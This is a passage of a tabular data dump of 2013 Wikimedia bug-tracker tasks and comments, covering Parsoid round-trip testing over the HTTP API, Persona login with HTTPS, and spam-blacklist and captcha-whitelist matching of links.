+Of course, I don't think Parsoid support that kind of injection (yet?).",,,1386253627,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+278483,Use the HTTP API in round-trip testing,"Change 99348 had a related patch set uploaded by Marcoil:
+Bug 56590: Use the Parsoid HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/99348",,,1386239395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+278478,Use the HTTP API in round-trip testing,"(In reply to comment #11)
+> (snip)
+> That build has been run on lanthanum.eqiad.wmnet which does not have direct
+> access to internet.  We can tie the job to a Jenkins slave that has internet
+> access though. 11pm right now so I will forget about it, but a bug against
+> Wikimedia > Continuous integration would make sure it get solved.
+
+Thanks for the info, Antoine. Even though we'll be running an independent Parsoid API server when running roundtrip-test.js, that will need internet access to fetch wikitext from the MediaWiki API. I'll open that bug when the code is ready.",,,1385546629,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+278472,Use the HTTP API in round-trip testing,"(In reply to comment #9)
+<snip>
+> - It doesn't pass Jenkins, see
+> https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/
+> console
+> It seems that the roundtrip-test.js script can't connect to the parsoid HTTP
+> API from the jenkins machine. We'll need to get a parsoid instance running on
+> the jenkins test machine, using a random port.
+
+That build has been run on lanthanum.eqiad.wmnet which does not have direct access to internet.  We can tie the job to a Jenkins slave that has internet access though. 11pm right now so I will forget about it, but a bug against Wikimedia > Continuous integration would make sure it get solved.",,,1385505218,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+278464,Use the HTTP API in round-trip testing,"Change 97733 abandoned by Marcoil:
+Bug 56590: Use the HTTP API in round-trip testing
+
+Reason:
+This needs more work to work anywhere besides my local setup, a new patch will come soon.
+
+https://gerrit.wikimedia.org/r/97733",,,1385495640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+278455,Use the HTTP API in round-trip testing,"Problems when testing this patch:
+
+- When testing with a local Parsoid instance, it compares the two wikitext versions and gives a correct number of syntactic and semantic diffs, although the number is sometimes different to the one given by direct (no HTTP API) testing. Most of the times the differences are due to a final '\n' difference when testing through HTTP. Could be due to different selser and editMode settings?
+
+- When testing from my local machine, but using httpL//parsoid.wmflabs.org/ as the HTTP API URL, html2wt always gives out the same wikitext as was gotten with TemplateRequest::one, which results in 0 diffs. Caching?
+
+- node roundtrip-test.js --parsoidURL http://parsoid.wmflabs.org/ --prefix enwiki Barack_Obama
+gives this error:
+ERROR: Error: request entity too large
+    at IncomingMessage.onData (/data/project/parsoid/js/node_modules/express/node_modules/connect/node_modules/raw-body/index.js:40:17)
+    at IncomingMessage.EventEmitter.emit (events.js:88:17)
+    at IncomingMessage._emitData (http.js:359:10)
+    at HTTPParser.parserOnBody [as onBody] (http.js:123:21)
+    at Socket.socket.ondata (http.js:1682:22)
+    at TCP.onread (net.js:404:27)
+
+- It doesn't pass Jenkins, see https://integration.wikimedia.org/ci/job/parsoid-roundtrip-test-check/1789/console
+It seems that the roundtrip-test.js script can't connect to the parsoid HTTP API from the jenkins machine. We'll need to get a parsoid instance running on the jenkins test machine, using a random port.",,,1385488129,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+278446,Use the HTTP API in round-trip testing,"Change 97733 had a related patch set uploaded by Marcoil:
+Bug 56590: Use the HTTP API in round-trip testing
+
+https://gerrit.wikimedia.org/r/97733",,,1385484634,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+278438,Use the HTTP API in round-trip testing,"Divided into two tasks:
+* This bug will track changing the round-trip test client to use the HTTP API so that they test a more similar code to the actual one used by clients.
+* Bug #56730 tracks the (future) development of unit tests of Parsoid's HTTP API.",,,1383850210,,PHID-USER-56wtmb23orq4pu5liyj5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+278431,Use the HTTP API in round-trip testing,"(In reply to comment #5)
+> What is the HTTP endpoint for this API?  The explicit URI(s)?  
+
+https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API",,,1383672928,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1
+278425,Use the HTTP API in round-trip testing,"
+What is the HTTP endpoint for this API?  The explicit URI(s)?  
+
+Also, I submitted a browser test for a utf8 string, I'll refine this a bit more today.  https://gerrit.wikimedia.org/r/#/c/93597/",,,1383660675,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0
+278421,Use the HTTP API in round-trip testing,"(In reply to comment #2)
+> I would very much like to create these tests, as long as beta labs and
+> test2wiki would be targets.
+
+As a first step we are considering tests that exercise the HTTP API in a way similar to the way VE does (including selser mode)
+
+* on each commit, on a selection of pages
+* in mass round-trip testing on a variety of content (see also bug 56601)
+
+In addition it would be great to test the full Parsoid + Varnish setup as it is in production to catch caching issues. This sounds like a good fit for betalabs.
+
+For this, we could use
+
+* the HTTP client we'll get out of moving our rt testing to use the API, and 
+* browser testing using the VE to test the full stack from browser through VE extension to the Parsoid cluster.",,,1383627362,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+278416,Use the HTTP API in round-trip testing,"If there is anything I can do in Jenkins, let me know.",,,1383606517,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,True,,,9,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+278411,Use the HTTP API in round-trip testing,"I would very much like to create these tests, as long as beta labs and test2wiki would be targets.",,,1383605498,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+278406,Use the HTTP API in round-trip testing,"Additionally, we should consider converting our round-trip tests to use the web API as well.",,,1383604718,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cfhd53wpntcxcbt4smwr,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+59635,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"$wgPersonaLoginAnywhere turns on having the Persona login button on every page in the Personal URLs section, rather than just having a button on the login page.
+
+However, when $wgSecureLogin is enabled, all logins must be over HTTPS. Right now this is handled poorly: if the user is on HTTP and clicks the Persona login button, they go through the whole login process just to get an API error.
+
+Unfortunately, there's really no way to make it work completely, but there are a couple of options:
+
+1) Throw a configuration error if a sysadmin tries to have $wgSecureLogin turned on, $wgPersonaLoginAnywhere turned on, and $wgServer with non-HTTPS as the scheme
+2) Automatically redirect all users to HTTPS (probably the less friendly option)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1385512620,1484383241.0,PHID-USER-ea6gwat27oulytc5tvsy,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_description,declined,True,c2,3,False,False,False,13,True,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+791551,Make $wgPersonaLoginAnywhere work with $wgSecureLogin,"From T155291:
+
+> Closing as the Persona service has been shut down. 
+> 
+>>>! From **[Mozilla](https://developer.mozilla.org/en-US/Persona)**:
+>> Persona is no longer actively developed by Mozilla. Mozilla kept operational and security support of the persona.org service until November 2016.
+>> On November 30th, 2016, the persona.org services were shut down.
+> 
+> See also:
+> * <https://developer.mozilla.org/en-US/Persona>
+> * <https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers>
+",,,1484383241,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-esh4zk4zdc5xdhsrduzc,task_subcomment,,True,c2,3,True,,,176,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+59513,Change interwiki for smw.o to https,"semantic-mediawiki.org offers https access. Thus it will be nice if the link for the existing interwiki prefix ""semantic-mw"" could be changed to ""https://www.semantic-mediawiki.org/wiki/$1"". Many thanks in advance!
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://semantic-mediawiki.org/wiki/Semantic_MediaWiki",Medium,50.0,1385325840,1385342222.0,PHID-USER-37d2msujvpp2rippbzoq,False,,False,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_description,invalid,True,c2,3,True,False,True,12,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+258559,Change interwiki for smw.o to https,Thank you for the hint. I filed the request at https://meta.wikimedia.org/wiki/Talk:Interwiki_map#semantic-mw,,,1385369204,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+258555,Change interwiki for smw.o to https,Please ask at [[m:Talk:Interwiki map]].,,,1385342222,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dt7vhebhzjxphnpx6qqs,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+58932,Spam BlackList doesn't block links which doesn't have http or https,"Spam BlackList doesn't block links which doesn't have http or https or // (at the first)
+
+for example I could add www.atbriders.com to the text which is listed in https://en.wikipedia.org/wiki/MediaWiki:Spam-blacklist
+
+see
+https://en.wikipedia.org/wiki/User:Yamaha5/Spam-blacklist
+
+it should block also URLs which doesn't have http: or https: or // (at the first)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1384244160,1384277715.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-ifrystfzv4mleltqnvzf,task_description,declined,True,c2,3,False,False,True,10,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+272144,Spam BlackList doesn't block links which doesn't have http or https,--> AbuseFilter territory by definition,,,1384277715,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+272137,Spam BlackList doesn't block links which doesn't have http or https,"spam blacklist was designed to block linking to black listed urls.
+Thats why only the added external links are checked, no content.
+
+You can use AbuseFilter when you want text searches for plain website names.
+
+Supporting INVALID",,,1384272697,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+272130,Spam BlackList doesn't block links which doesn't have http or https,"(In reply to comment #2)
+> I don't see any sane way to do this (and am tempted to close as INVALID).
+> 
+> Text not starting with http:// simply is not a link - it is text.
+> 
+> So you want to block any word which has two dots in it?
+
+No I don't want to block any word which has two dots in it!
+I said when we define 
+\bexample\.com\b
+it should also block www.example.com 
+it is a website address",,,1384256717,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,False,,,10,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+272123,Spam BlackList doesn't block links which doesn't have http or https,"I don't see any sane way to do this (and am tempted to close as INVALID).
+
+Text not starting with http:// simply is not a link - it is text.
+
+So you want to block any word which has two dots in it?",,,1384255962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,True,,,10,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+272117,Spam BlackList doesn't block links which doesn't have http or https,Now many articles are effected by this bug and users adds their Spam links to the articles without any blockage!,,,1384244275,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-ifrystfzv4mleltqnvzf,task_subcomment,,True,c2,3,False,,,10,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+58485,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","The ConfirmEdit extension allows for local wikis to whitelist links using [[MediaWiki:Captcha-addurl-whitelist]]. But this only allows for whitelisting http and https links, even though the extension will trigger a captcha for any protocol.
+
+The question here is twofold:
+1. Should ConfirmEdit trigger captchas for other types of links in the first place?
+2. If so, how can we extend [[MediaWiki:Captcha-addurl-whitelist]] to allow these to be whitelisted?
+
+Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in [[MediaWiki:TitleBlacklist]], one of which would indicate that this line should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""
+
+--------------------------
+**Version**: master
+**Severity**: normal
+**URL**: https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#Contains_external_links",Medium,50.0,1383334140,1386352774.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-apzftii3ko6bfgxegblk,task_description,resolved,True,c2,3,True,False,False,9,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+271973,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change merged. It should be deployed to WMF wikis with 1.23wmf7, see https://www.mediawiki.org/wiki/MediaWiki_1.23/Roadmap for the schedule.",,,1386352774,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,True,,,14,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+271969,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 merged by jenkins-bot:
+Allow 'noprotocol' option in captcha-addurl-whitelist
+
+https://gerrit.wikimedia.org/r/97317",,,1386352444,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+271963,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","I had it on my todo list since November 1, and your comment coincidentally came at the same time I found the combination of volunteer time and motivation to work on it ;)
+
+I'd use ""tel:// <noprotocol>"", or ""tel: <noprotocol>"" if the links don't use the //.",,,1385321675,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+271957,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:
+
+Thanks for the quick patch.
+
+To confirm, the regex for whitelisting tel: links would be something along the lines of - 
+
+tel <noprotocol> ?",,,1385298478,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1
+271952,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","Change 97317 had a related patch set uploaded by Anomie:
+Allow 'noprotocol' option in captcha-addurl-whitelist
+
+https://gerrit.wikimedia.org/r/97317",,,1385231372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+271947,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:
+
+Should have checked the bug list beforehand. This above modification would be much appreciated.
+
+--
+
+On the English Wikivoyage, we have added tel:// protocol links to phone numbers
+so that users can dial through on their mobile phones. However, since tel://
+links are considered external links, all new phone numbers added now require a
+CAPTCHA to be filled.
+
+I checked MediaWiki:Captcha-addurl-whitelist, but it seems that it is
+restricted to HTTP/HTTPS. Is it possible to modify it to accept tel:// links,
+and maybe even geo:// links?",,,1385169214,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+271943,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","**singaporemaps** wrote:
+
+%%%*** Bug 57468 has been marked as a duplicate of this bug. ***%%%",,,1385169090,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+271938,"Catches non-http/https links, but cannot whitelist them via MediaWiki:Captcha-addurl-whitelist","(In reply to comment #0)
+> Personally, I'm inclined to answer ""yes"" and ""Perhaps add flags like in
+> [[MediaWiki:TitleBlacklist]], one of which would indicate that this line
+> should not be prefixed with /^https?:\/\/+[a-z0-9_\-.]*/""
+
+This sounds sensible to me.",,,1384270448,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-apzftii3ko6bfgxegblk,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+58953,Gitblit backlink to mediawiki.org/wiki/Special:Code for old commits should be https,"For old svn commits giblit provides a link to mediawiki.org/wiki/Special:Code, but that link is always http, please provide a https link.
+
+If possible, this link should be clickable.
+
+Thanks.
+
+Example on:
